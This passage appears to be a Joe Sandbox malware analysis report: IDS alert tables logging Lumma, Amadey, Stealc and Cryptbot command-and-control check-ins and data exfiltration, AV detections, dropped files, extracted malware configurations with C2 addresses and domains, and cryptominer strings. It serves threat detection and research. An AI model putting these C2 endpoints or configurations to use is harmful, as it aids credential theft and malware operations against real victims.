2024-12-16T17:03:33.027245+0100	2028371	3	Unknown Traffic	192.168.2.8	49940	172.67.164.37	443	TCP
2024-12-16T17:03:39.388184+0100	2028371	3	Unknown Traffic	192.168.2.8	49956	172.67.164.37	443	TCP
2024-12-16T17:03:46.084489+0100	2028371	3	Unknown Traffic	192.168.2.8	49972	172.67.164.37	443	TCP
2024-12-16T17:03:48.152244+0100	2028371	3	Unknown Traffic	192.168.2.8	49978	172.67.177.250	443	TCP
2024-12-16T17:03:50.273246+0100	2028371	3	Unknown Traffic	192.168.2.8	49985	172.67.164.37	443	TCP
2024-12-16T17:03:52.688850+0100	2028371	3	Unknown Traffic	192.168.2.8	49999	172.67.177.250	443	TCP
2024-12-16T17:03:53.702362+0100	2028371	3	Unknown Traffic	192.168.2.8	50012	172.67.164.37	443	TCP
2024-12-16T17:03:57.546218+0100	2028371	3	Unknown Traffic	192.168.2.8	50043	172.67.177.250	443	TCP
2024-12-16T17:03:59.785324+0100	2028371	3	Unknown Traffic	192.168.2.8	50056	172.67.164.37	443	TCP
2024-12-16T17:04:00.017180+0100	2028371	3	Unknown Traffic	192.168.2.8	50058	172.67.177.250	443	TCP
2024-12-16T17:04:01.923798+0100	2028371	3	Unknown Traffic	192.168.2.8	50065	172.67.164.37	443	TCP
2024-12-16T17:04:02.163916+0100	2028371	3	Unknown Traffic	192.168.2.8	50066	172.67.177.250	443	TCP
2024-12-16T17:04:04.218710+0100	2028371	3	Unknown Traffic	192.168.2.8	50072	172.67.164.37	443	TCP
2024-12-16T17:04:04.708249+0100	2028371	3	Unknown Traffic	192.168.2.8	50075	172.67.177.250	443	TCP
2024-12-16T17:04:06.336936+0100	2028371	3	Unknown Traffic	192.168.2.8	50079	172.67.164.37	443	TCP
2024-12-16T17:04:08.574835+0100	2028371	3	Unknown Traffic	192.168.2.8	50087	172.67.177.250	443	TCP
2024-12-16T17:04:09.697966+0100	2028371	3	Unknown Traffic	192.168.2.8	50091	172.67.164.37	443	TCP
2024-12-16T17:04:11.413987+0100	2028371	3	Unknown Traffic	192.168.2.8	50098	172.67.177.250	443	TCP
2024-12-16T17:04:14.121811+0100	2028371	3	Unknown Traffic	192.168.2.8	50105	172.67.164.37	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:02:55.015169+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49770	172.67.164.37	443	TCP
2024-12-16T17:03:10.909249+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49828	172.67.164.37	443	TCP
2024-12-16T17:03:14.468530+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49848	172.67.164.37	443	TCP
2024-12-16T17:03:49.046148+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49972	172.67.164.37	443	TCP
2024-12-16T17:03:50.637178+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49978	172.67.177.250	443	TCP
2024-12-16T17:03:52.228384+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49985	172.67.164.37	443	TCP
2024-12-16T17:03:56.034316+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49999	172.67.177.250	443	TCP
2024-12-16T17:03:56.705856+0100	2054653	1	A Network Trojan was detected	192.168.2.8	50012	172.67.164.37	443	TCP
2024-12-16T17:04:12.244071+0100	2054653	1	A Network Trojan was detected	192.168.2.8	50098	172.67.177.250	443	TCP
2024-12-16T17:04:17.543778+0100	2054653	1	A Network Trojan was detected	192.168.2.8	50105	172.67.164.37	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:02:55.015169+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49770	172.67.164.37	443	TCP
2024-12-16T17:03:10.909249+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49828	172.67.164.37	443	TCP
2024-12-16T17:03:50.637178+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49978	172.67.177.250	443	TCP
2024-12-16T17:03:52.228384+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49985	172.67.164.37	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:03:14.468530+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49848	172.67.164.37	443	TCP
2024-12-16T17:03:56.034316+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49999	172.67.177.250	443	TCP
2024-12-16T17:03:56.705856+0100	2049812	1	A Network Trojan was detected	192.168.2.8	50012	172.67.164.37	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:02:53.303796+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	49770	172.67.164.37	443	TCP
2024-12-16T17:02:55.772753+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	49780	172.67.164.37	443	TCP
2024-12-16T17:03:08.055232+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	49828	172.67.164.37	443	TCP
2024-12-16T17:03:12.215025+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	49848	172.67.164.37	443	TCP
2024-12-16T17:03:20.505465+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	49888	172.67.164.37	443	TCP
2024-12-16T17:03:25.752556+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	49919	172.67.164.37	443	TCP
2024-12-16T17:03:28.842841+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	49926	172.67.164.37	443	TCP
2024-12-16T17:03:33.027245+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	49940	172.67.164.37	443	TCP
2024-12-16T17:03:39.388184+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	49956	172.67.164.37	443	TCP
2024-12-16T17:03:46.084489+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	49972	172.67.164.37	443	TCP
2024-12-16T17:03:50.273246+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	49985	172.67.164.37	443	TCP
2024-12-16T17:03:53.702362+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	50012	172.67.164.37	443	TCP
2024-12-16T17:03:59.785324+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	50056	172.67.164.37	443	TCP
2024-12-16T17:04:01.923798+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	50065	172.67.164.37	443	TCP
2024-12-16T17:04:04.218710+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	50072	172.67.164.37	443	TCP
2024-12-16T17:04:06.336936+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	50079	172.67.164.37	443	TCP
2024-12-16T17:04:09.697966+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	50091	172.67.164.37	443	TCP
2024-12-16T17:04:14.121811+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	50105	172.67.164.37	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:03:50.531232+0100	2019714	2	Potentially Bad Traffic	192.168.2.8	49986	185.215.113.16	80	TCP
2024-12-16T17:04:19.005298+0100	2019714	2	Potentially Bad Traffic	192.168.2.8	50117	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:02:20.584891+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49711	185.215.113.43	80	TCP
2024-12-16T17:02:32.895986+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49715	185.215.113.43	80	TCP
2024-12-16T17:02:39.576447+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49728	185.215.113.43	80	TCP
2024-12-16T17:02:45.254743+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49742	185.215.113.43	80	TCP
2024-12-16T17:02:53.702517+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49771	185.215.113.43	80	TCP
2024-12-16T17:03:02.210210+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49809	185.215.113.43	80	TCP
2024-12-16T17:03:09.834409+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49834	185.215.113.43	80	TCP
2024-12-16T17:03:20.555841+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49886	185.215.113.43	80	TCP
2024-12-16T17:03:33.240252+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49939	185.215.113.43	80	TCP
2024-12-16T17:03:48.893924+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49982	185.215.113.43	80	TCP
2024-12-16T17:04:54.574365+0100	2044696	1	A Network Trojan was detected	192.168.2.8	50228	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:02:53.015462+0100	2054350	1	A Network Trojan was detected	192.168.2.8	49767	138.124.35.95	80	TCP
2024-12-16T17:02:55.016314+0100	2054350	1	A Network Trojan was detected	192.168.2.8	49779	138.124.35.95	80	TCP
2024-12-16T17:03:04.418784+0100	2054350	1	A Network Trojan was detected	192.168.2.8	49818	138.124.35.95	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:02:42.918495+0100	2057973	1	Domain Observed Used for C2 Detected	192.168.2.8	62196	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:02:43.588408+0100	2057975	1	Domain Observed Used for C2 Detected	192.168.2.8	57701	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:02:42.458914+0100	2057979	1	Domain Observed Used for C2 Detected	192.168.2.8	63301	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:02:42.689370+0100	2057977	1	Domain Observed Used for C2 Detected	192.168.2.8	54193	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:02:44.060054+0100	2057969	1	Domain Observed Used for C2 Detected	192.168.2.8	62279	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:02:43.826372+0100	2057971	1	Domain Observed Used for C2 Detected	192.168.2.8	51414	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:02:41.536213+0100	2057983	1	Domain Observed Used for C2 Detected	192.168.2.8	62524	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:02:51.816510+0100	2058230	1	Domain Observed Used for C2 Detected	192.168.2.8	50736	1.1.1.1	53	UDP
2024-12-16T17:03:06.663006+0100	2058230	1	Domain Observed Used for C2 Detected	192.168.2.8	64548	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:02:41.849271+0100	2057981	1	Domain Observed Used for C2 Detected	192.168.2.8	64539	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:03:03.833872+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.8	49811	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:03:03.520313+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.8	49811	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:03:04.154937+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.8	49811	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:03:05.843278+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.8	49811	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:03:04.470013+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.8	49811	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:03:27.448339+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	49919	172.67.164.37	443	TCP
2024-12-16T17:04:06.087937+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	50075	172.67.177.250	443	TCP
2024-12-16T17:04:07.520348+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	50079	172.67.164.37	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:03:03.050875+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49811	185.215.113.206	80	TCP
2024-12-16T17:03:55.577453+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	50021	185.215.113.206	80	TCP
2024-12-16T17:04:00.453717+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	50055	185.215.113.206	80	TCP
2024-12-16T17:04:07.691043+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	50083	185.215.113.206	80	TCP
2024-12-16T17:04:30.133926+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	50191	185.215.113.206	80	TCP

ETPRO EXPLOIT Multiple Vendor Malformed ZIP Archive Antivirus Detection Bypass

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:10:19.880357+0100	2800029	1	Attempted User Privilege Gain	31.41.244.11	80	192.168.2.8	50369	TCP

ETPRO MALWARE Amadey CnC Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:03:40.428626+0100	2856121	1	A Network Trojan was detected	192.168.2.8	49958	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:02:05.157865+0100	2856147	1	A Network Trojan was detected	192.168.2.8	49706	185.215.113.43	80	TCP
2024-12-16T17:07:11.419276+0100	2856147	1	A Network Trojan was detected	192.168.2.8	50291	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:02:19.244117+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.8	49707	TCP
2024-12-16T17:04:53.232119+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.8	50216	TCP
2024-12-16T17:10:16.766810+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.8	50367	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:02:09.619201+0100	2803305	3	Unknown Traffic	192.168.2.8	49708	31.41.244.11	80	TCP
2024-12-16T17:02:22.032885+0100	2803305	3	Unknown Traffic	192.168.2.8	49712	31.41.244.11	80	TCP
2024-12-16T17:02:34.347267+0100	2803305	3	Unknown Traffic	192.168.2.8	49717	31.41.244.11	80	TCP
2024-12-16T17:02:41.058417+0100	2803305	3	Unknown Traffic	192.168.2.8	49730	31.41.244.11	80	TCP
2024-12-16T17:02:46.727783+0100	2803305	3	Unknown Traffic	192.168.2.8	49751	185.215.113.16	80	TCP
2024-12-16T17:02:55.169344+0100	2803305	3	Unknown Traffic	192.168.2.8	49777	185.215.113.16	80	TCP
2024-12-16T17:03:04.054398+0100	2803305	3	Unknown Traffic	192.168.2.8	49813	185.215.113.16	80	TCP
2024-12-16T17:03:11.363179+0100	2803305	3	Unknown Traffic	192.168.2.8	49845	185.215.113.16	80	TCP
2024-12-16T17:03:22.209388+0100	2803305	3	Unknown Traffic	192.168.2.8	49897	31.41.244.11	80	TCP
2024-12-16T17:03:34.691072+0100	2803305	3	Unknown Traffic	192.168.2.8	49944	31.41.244.11	80	TCP
2024-12-16T17:03:41.887008+0100	2803305	3	Unknown Traffic	192.168.2.8	49963	31.41.244.11	80	TCP
2024-12-16T17:10:16.766803+0100	2803305	3	Unknown Traffic	192.168.2.8	50368	31.41.244.11	80	TCP
2024-12-16T17:10:19.241437+0100	2803305	3	Unknown Traffic	192.168.2.8	50369	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:03:06.281948+0100	2803304	3	Unknown Traffic	192.168.2.8	49811	185.215.113.206	80	TCP
2024-12-16T17:03:33.800059+0100	2803304	3	Unknown Traffic	192.168.2.8	49937	185.215.113.206	80	TCP
2024-12-16T17:03:35.643565+0100	2803304	3	Unknown Traffic	192.168.2.8	49937	185.215.113.206	80	TCP
2024-12-16T17:03:36.898641+0100	2803304	3	Unknown Traffic	192.168.2.8	49937	185.215.113.206	80	TCP
2024-12-16T17:03:37.948263+0100	2803304	3	Unknown Traffic	192.168.2.8	49937	185.215.113.206	80	TCP
2024-12-16T17:03:41.314449+0100	2803304	3	Unknown Traffic	192.168.2.8	49937	185.215.113.206	80	TCP
2024-12-16T17:03:42.361840+0100	2803304	3	Unknown Traffic	192.168.2.8	49937	185.215.113.206	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:03:39.424916+0100	2843864	1	A Network Trojan was detected	192.168.2.8	49956	172.67.164.37	443	TCP
2024-12-16T17:04:08.578349+0100	2843864	1	A Network Trojan was detected	192.168.2.8	50087	172.67.177.250	443	TCP
2024-12-16T17:04:09.702025+0100	2843864	1	A Network Trojan was detected	192.168.2.8	50091	172.67.164.37	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T17:02:47.078885+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.8	49744	104.121.10.34	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: dare-curbys.biz	URL Reputation: Label: malware
Source: impend-differ.biz	URL Reputation: Label: malware
Source: zinc-sneark.biz	URL Reputation: Label: malware
Source: covery-mover.biz	URL Reputation: Label: malware
Source: formy-spill.biz	URL Reputation: Label: malware
Source: se-blurry.biz	URL Reputation: Label: malware
Source: print-vexer.biz	URL Reputation: Label: malware
Source: dwell-exclaim.biz	URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Avira: detection malicious, Label: HEUR/AGEN.1352802
Source: C:\Users\user\AppData\Local\Temp\1016177001\d85d1975e9.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1016176001\f43f43fc7e.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000000.00000003.1487650364.0000000005360000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 47760e826c.exe.6816.20.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["covery-mover.biz", "print-vexer.biz", "drive-connect.cyou", "formy-spill.biz", "dare-curbys.biz", "zinc-sneark.biz", "dwell-exclaim.biz", "se-blurry.biz", "impend-differ.biz"], "Build id": "FATE99--test"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 57%
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	ReversingLabs: Detection: 66%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 57%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016178001\1d6483dfc2.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[3].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016177001\d85d1975e9.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016176001\f43f43fc7e.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe

Code function: 40_2_002C13F0 CoResumeClassObjects,CryptContextAddRef,GetLastError,

40_2_002C13F0

Source: 5b6b36c534.exe, 00000009.00000003.2068235769.0000000007315000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_751431ba-7

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 36.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.3.Intel_PTT_EK_Recertification.exe.20253d50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.3.Intel_PTT_EK_Recertification.exe.20253d50000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000024.00000002.2299605602.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.2299813982.000000014040B000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.2298187569.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.2298187569.0000000000E59000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.2289455203.0000020253D50000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 5040, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 6932, type: MEMORYSTR

Found strings related to Crypto-Mining

Source: Intel_PTT_EK_Recertification.exe, 00000022.00000003.2289455203.0000020253D50000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: Intel_PTT_EK_Recertification.exe, 00000022.00000003.2289455203.0000020253D50000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: cryptonight/0
Source: Intel_PTT_EK_Recertification.exe, 00000022.00000003.2289455203.0000020253D50000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: Intel_PTT_EK_Recertification.exe, 00000022.00000003.2289455203.0000020253D50000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.121.10.34:443 -> 192.168.2.8:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49940 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:50056 version: TLS 1.2
